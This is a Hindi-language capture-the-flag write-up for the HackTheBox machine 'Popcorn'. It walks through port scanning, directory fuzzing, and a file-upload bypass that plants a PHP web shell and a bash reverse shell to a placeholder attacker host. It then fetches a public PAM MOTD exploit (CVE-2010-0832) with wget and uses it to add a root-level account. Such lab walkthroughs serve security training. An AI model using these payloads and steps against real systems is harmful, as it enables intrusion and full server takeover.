
पॉपकॉर्न HTB राइट-अप जिसमें उन्नत डायरेक्टरी फ़ज़िंग, Burp Suite का उपयोग करके मैजिक नंबर/एक्सटेंशन स्पूफिंग के माध्यम से फ़ाइल अपलोड बाईपास, और CVE-2010-0832 (PAM MOTD फ़ाइल टैम्परिंग) के माध्यम से विशेषाधिकार वृद्धि शामिल है।
दिनांक: जून 05, 2026
कठिनाई: आसान
प्लेटफ़ॉर्म: HackTheBox
मुख्य तकनीकें: पोर्ट और सेवा खोज, निर्देशिका फ़ज़िंग (Gobuster), फ़ाइल अपलोड चोरी, HTTP अनुरोध हेरफेर (Burp Suite), दूरस्थ कोड निष्पादन (RCE), उन्नत TTY शेल स्थिरीकरण (Python), स्थानीय कर्नेल/PAM शोषण (MOTD फ़ाइल छेड़छाड़)।
हम प्रवेश बिंदुओं का पता लगाने के लिए सभी 65,535 पोर्ट (-p-) पर एक तेज़ TCP पोर्ट स्कैन करके शुरू करते हैं। हम --min-rate 5000 का उपयोग करके निष्पादन गति को अनुकूलित करते हैं और ऑडिटिंग वातावरण में प्रक्रिया को सुव्यवस्थित करने के लिए DNS समाधान और पिंग स्वीप को छोड़ देते हैं:
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>
प्रारंभिक स्कैन विश्वसनीय रूप से दो खुले पोर्ट का पता लगाता है: पोर्ट 22 (SSH) और पोर्ट 80 (HTTP)।
इसके बाद, हम सटीक सेवा संस्करण निर्धारित करने और Nmap के मानक और बुनियादी भेद्यता स्क्रिप्ट चलाने के लिए पहचाने गए पोर्ट पर एक लक्षित, गहन स्कैन करते हैं:
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>
आउटपुट से, हम लक्ष्य पारिस्थितिकी तंत्र के बारे में महत्वपूर्ण जानकारी निकालते हैं:
OpenSSH 5.1 Debian 6ubuntu2 (एक काफी पुरानी Ubuntu Linux वितरण को इंगित करता है)।Apache httpd 2.2.12ब्राउज़र के माध्यम से वेब एप्लिकेशन के साथ बातचीत करने से पहले, हम डोमेन मैपिंग को साफ करने और आंतरिक रीडायरेक्शन को सही ढंग से हल करने के लिए अपने हमलावर मशीन की /etc/hosts फ़ाइल में लक्ष्य IP पता जोड़ते हैं:
<VICTIM_IP> popcorn.htb
फिर हम DirBuster की क्लासिक मध्यम आकार की शब्दसूची के साथ gobuster का उपयोग करके एक स्वचालित छिपी निर्देशिका खोज चलाते हैं:
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt
फ़ज़िंग चरण पीड़ित के वेब सर्वर पर निम्नलिखित सुलभ पथों को उजागर करता है:
/index (मानक इंडेक्स लैंडिंग पेज)।/test (परीक्षण पैनल या विकास जानकारी फ़ाइल)।/torrent (टोरेंट फ़ाइलों को होस्ट और साझा करने के लिए समर्पित एक पूरी तरह कार्यात्मक वेब प्लेटफ़ॉर्म)।/response (आंतरिक प्रतिक्रिया पृष्ठ)।/torrent निर्देशिका की खोज करने पर एक टोरेंट साझाकरण CMS का पता चलता है। अपलोड सुविधाओं के साथ बातचीत करने के लिए, हम मौके पर बनाए गए एक वैध खाते में पंजीकरण करते हैं और लॉग इन करते हैं। एक वैध .torrent फ़ाइल प्रकाशित करने के बाद, प्लेटफ़ॉर्म टोरेंट विवरण संपादित करने और एक प्रचारक स्क्रीनशॉट छवि अपलोड करने का विकल्प सक्षम करता है। यह विशिष्ट फ़ॉर्म हमारा प्राथमिक हमला वेक्टर बन जाता है।
दूरस्थ कोड निष्पादन (RCE) प्राप्त करने के लिए, हम Burp Suite (Repeater) का उपयोग करके बैकएंड व्यवहार का विश्लेषण करते हुए परीक्षण चरणों की एक श्रृंखला से गुजरते हैं:
हम स्क्रीनशॉट अपलोड अनुरोध को इंटरसेप्ट करते हैं और फ़ाइल नाम को exploit.php में संशोधित करते हैं। हम फ़ाइल बॉडी में एक क्लासिक वन-लाइनर वेबशेल डालने का प्रयास करते हैं:
<?php system($_GET['cmd']) ?>
परिणाम: वेब सर्वर PHP निर्देश के अंत में अर्धविराम ; की कमी के कारण एक आंतरिक निष्पादन त्रुटि लौटाता है, जिससे निष्पादन प्रवाह टूट जाता है।
हम वाक्यविन्यास को <?php system($_GET['cmd']); ?> में सही करते हैं, लेकिन चूंकि अनुरोध POST ( multipart/form-data का उपयोग करके) भेजा जाता है, हम अपने कमांड को सीधे हेडर URL (POST /torrent/upload_file.php?cmd=whoami) में पास करने का प्रयास करते हैं।
परिणाम: वेब सर्वर निम्नलिखित त्रुटि फेंकता है:
Cannot execute a blank command
विश्लेषण: फ़ाइल अपलोड पार्सिंग के दौरान, बैकएंड URL में मौजूद GET वेरिएबल्स को पूरी तरह से अनदेखा करता है। upload_file.php स्क्रिप्ट फ़ाइल को डिस्क पर लिखता है लेकिन तुरंत आंतरिक फ़ंक्शन को निष्पादित करने का प्रयास करता है। चूंकि इसे अपेक्षित बॉडी वेरिएबल्स में कुछ नहीं मिलता, $_GET['cmd'] को खाली माना जाता है।
बुनियादी एक्सटेंशन जांच फ़िल्टर को बायपास करने के लिए जो यह सत्यापित करते हैं कि फ़ाइल एक वैध छवि है या नहीं, हम फ़ाइल का नाम बदलकर innocent.php.png करते हैं और एक रिवर्स शेल पेलोड हार्डकोड करते हैं ताकि यह बाहरी मापदंडों पर निर्भर न हो:
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
परिणाम: सर्वर एक सफल 200 OK के साथ प्रतिक्रिया करता है:
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.
विश्लेषण: हालांकि इसने प्रारंभिक फ़िल्टर को सफलतापूर्वक बायपास कर दिया, चूंकि फ़ाइल सख्ती से .png एक्सटेंशन के साथ समाप्त होती है, Apache सर्वर ने इसे एक सामान्य स्थैतिक छवि के रूप में माना। जब इसे ब्राउज़ किया गया, तो ब्राउज़र ने कच्चे बाइट्स को सादे पाठ के रूप में प्रिंट किया; Apache ने कभी फ़ाइल को PHP इंटरप्रेटर को नहीं भेजा, जिसका अर्थ है कि हमारा Netcat सुनने वाला कभी कनेक्शन नहीं पकड़ पाया।
यह जानते हुए कि सर्वर को कोड निष्पादन को ट्रिगर करने के लिए .php एक्सटेंशन को पार्स करने की आवश्यकता है, हम एक्सटेंशन क्रम को उलट देते हैं (innocent.png.php), Content-Type: image/png हेडर को बरकरार रखते हैं, और बैकएंड सामग्री सत्यापन जांच को धोखा देने के लिए फ़ाइल बॉडी की शुरुआत में PNG हस्ताक्षर या मैजिक नंबर (PNG) जोड़ते हैं:
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--
परिणाम: वेब सर्वर फ़ाइल को साफ-साफ स्वीकार करता है, अनुगामी एक्सटेंशन को संसाधित करता है, और इसे अपलोड निर्देशिका में innocent.php नाम से सहेजता है:
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.
चूंकि अपलोड स्क्रिप्ट केवल डिस्क पर फ़ाइल को संग्रहीत करती है और अपलोड POST अनुरोध संदर्भ में इसे निष्पादित नहीं करती है, हम सर्वर को इसे पढ़ने के लिए मजबूर करने के लिए एक स्वतंत्र कॉल ट्रिगर करते हैं:
nc -lvnp 4444
GET अनुरोध का उपयोग करके):[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)
Apache सर्वर को फ़ाइल को संसाधित करने के लिए मजबूर किया जाता है, PHP टैग का पता लगाता है, Bash पेलोड को निष्पादित करता है, और कनेक्शन हमारे सुनने वाले पर पूरी तरह से पकड़ में आता है, जो www-data उपयोगकर्ता के रूप में प्रारंभिक पहुंच प्रदान करता है।
शेल प्राप्त करने के तुरंत बाद विशेषाधिकारों को उन्नत करने का प्रयास गंभीर पर्यावरण सीमाओं को उजागर करता है:
www-data@popcorn:/$ su root
su: must be run from a terminal
su कमांड को सुरक्षित रूप से इनपुट स्वीकार करने के लिए एक वास्तविक इंटरैक्टिव टर्मिनल (TTY) की सख्त आवश्यकता है। python3 के माध्यम से एक को मजबूर करने का प्रयास इंगित करता है कि यह इस लीगेसी बॉक्स पर स्थापित नहीं है (The program 'python3' is currently not installed)।
हम मशीन पर मौजूद क्लासिक Python बाइनरी (Python 2) का उपयोग करके और अपनी हमलावर मशीन के टर्मिनल डिस्क्रिप्टर को पुन: कॉन्फ़िगर करके इस रुकावट को बायपास करते हैं:
# 1. लीगेसी Python के पूर्ण पथ का उपयोग करके एक इंटरैक्टिव शेल स्पॉन करें
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
# 2. शेल प्रक्रिया को पृष्ठभूमि में निलंबित करें
Ctrl + Z
# 3. अपने हमलावर टर्मिनल पर, कीबोर्ड स्थिति को रॉ पर सेट करें और Netcat सुनने वाले को अग्रभूमि में लाएं
stty raw -echo; fg
# 4. स्क्रीन रिफ्रेश को मजबूर करें और इतिहास और ऑटोकम्प्लीट समर्थन के लिए टर्मिनल पर्यावरण चर मैप करें
reset xterm
export TERM=xterm
export SHELL=bash
हम पीड़ित मशीन पर चल रहे OS वितरण और Linux कर्नेल संस्करण का निरीक्षण करते हैं:
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux
www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l
ऑपरेटिंग सिस्टम एक विंटेज Ubuntu रिलीज़ (Karmic Koala) की ओर इशारा करता है, जिसके कर्नेल और कोर पैकेज में कई ज्ञात स्थानीय विशेषाधिकार एस्केलेशन दोष हैं।
हम एक अत्यधिक व्यवहार्य वेक्टर की पहचान करते हैं जिसमें PAM का मैसेज ऑफ द डे पार्सिंग (Linux PAM 1.1.0 - MOTD फ़ाइल छेड़छाड़ विशेषाधिकार एस्केलेशन, CVE-2010-0832 के तहत ट्रैक किया गया) शामिल है। यह भेद्यता स्थानीय उपयोगकर्ताओं को स्थानीय SSH प्रमाणीकरण क्रियाओं के दौरान असुरक्षित symlink हैंडलिंग के माध्यम से root के स्वामित्व वाली फ़ाइलों में हेरफेर करने की अनुमति देती है।
हम हमले के मार्ग को स्वचालित करने के लिए सार्वजनिक एक्सप्लॉइट स्क्रिप्ट 14339.sh का उपयोग करते हैं।
searchsploit -m linux/local/14339.sh
python3 -m http.server 80
/tmp निर्देशिका (जो वैश्विक पढ़ने/लिखने/निष्पादित करने की अनुमति प्रदान करती है) पर नेविगेट करें, स्क्रिप्ट डाउनलोड करें, और इसे निष्पादन योग्य बनाएं:cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root
स्क्रिप्ट सफलतापूर्वक निष्पादन पूरा करती है, सीधे /etc/passwd पर स्थानीय उपयोगकर्ता डेटाबेस के साथ छेड़छाड़ करती है।
एक्सप्लॉइट के आंतरिक कामकाज के कारण, यह मूल root उपयोगकर्ता खाते के पासवर्ड को नहीं बदलता है। इसके बजाय, यह /etc/passwd फ़ाइल के अंत में रूट विशेषाधिकारों के साथ एक पूरी तरह से नया क्लोन उपयोगकर्ता इंजेक्ट करता है।
हम उपयोगकर्ता फ़ाइल की अंतिम पंक्ति पढ़कर इसकी पुष्टि करते हैं:
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash
नोट: 0:0 (UID/GID) कॉन्फ़िगरेशन इस खाते को रूट प्रशासक के समान पहचान पैरामीटर प्रदान करता है।
जबकि पासवर्ड toor के साथ su root चलाने पर Authentication failure त्रुटि आती है क्योंकि मूल रूट खाता अछूता रहता है, हमारा स्थिर Python TTY शेल हमें कस्टम क्लोन खाते को लक्षित करके सुचारू रूप से उपयोगकर्ता बदलने की अनुमति देता है:
www-data@popcorn:/tmp$ su toor
Password: toor
हम पासवर्ड (toor) प्रदान करते हैं, तुरंत हमारे टर्मिनल प्रॉम्प्ट को सर्वोच्च हैश पहचानकर्ता (#) में बदल देते हैं:
root@popcorn:/tmp# whoami
toor
root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
लक्ष्य मशीन पूरी तरह से समझौता कर ली गई है। अब हमारे पास आवश्यक ध्वज हैश एकत्र करने के लिए प्रशासनिक पहुंच है:
/home/george/user.txt/root/root.txt